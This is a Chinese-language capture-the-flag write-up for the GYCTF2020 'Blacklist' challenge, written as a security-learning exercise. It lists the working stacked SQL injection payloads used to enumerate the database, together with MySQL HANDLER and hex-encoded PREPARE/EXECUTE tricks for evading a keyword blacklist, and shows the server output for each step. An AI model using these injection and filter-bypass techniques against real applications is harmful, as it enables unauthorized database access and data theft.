[GYCTF2020]Blacklist
[GYCTF2020]Blacklist
Step 1
输入1,回显:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
稍微尝试注入:
/?inject=1'+union+select+1,2,3;#
回显:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
发现这些关键字被过滤了。
Step 2
发现可以堆叠注入:
/?inject=1';show databases;#
有回显:
array(1) {
[0]=>
string(11) "ctftraining"
}
查表:
/?inject=1';show tables;#
回显:
array(1) {
[0]=>
string(8) "FlagHere"
}
查列:
/?inject=1';show columns from FlagHere;#
回显:
array(6) {
[0]=>
string(4) "flag"
但是不能用select去查询,于是可以采取mysql的handler(handler命令也可以像select一样进行查询):
/?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
array(1) {
[0]=>
string(42) "flag{~}"
}
堆叠注入
堆叠注入和平常的注入不同,平常类型的注入主要靠的已有的select(通常是)进行查询操作,而堆叠就是利用分号进行隔断,再进行新一行的sql命令。
主要原因
mysqli_multi_query($sql1,$sql2);
具体注入方法:
查库
';show databases;
查表
';show tables;
';show columns from [table_name];
';select [column_name] from [table_name];
';SeT @a=0x73656c656374202a2066726f6d205b7461626c655f6e616d655d;prepare execsql from @a;execute execsql;
Handler命令
HANDLER命令是MySQL中的一种特殊命令,它允许用户在底层与表的存储引擎直接交互。通过HANDLER,你可以打开一个表,然后逐行读取数据,而不需要使用SELECT语句。这种底层的访问方式在某些场景下可以提供更高的性能,尤其是在需要批量处理大量数据的情况下。
语法:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE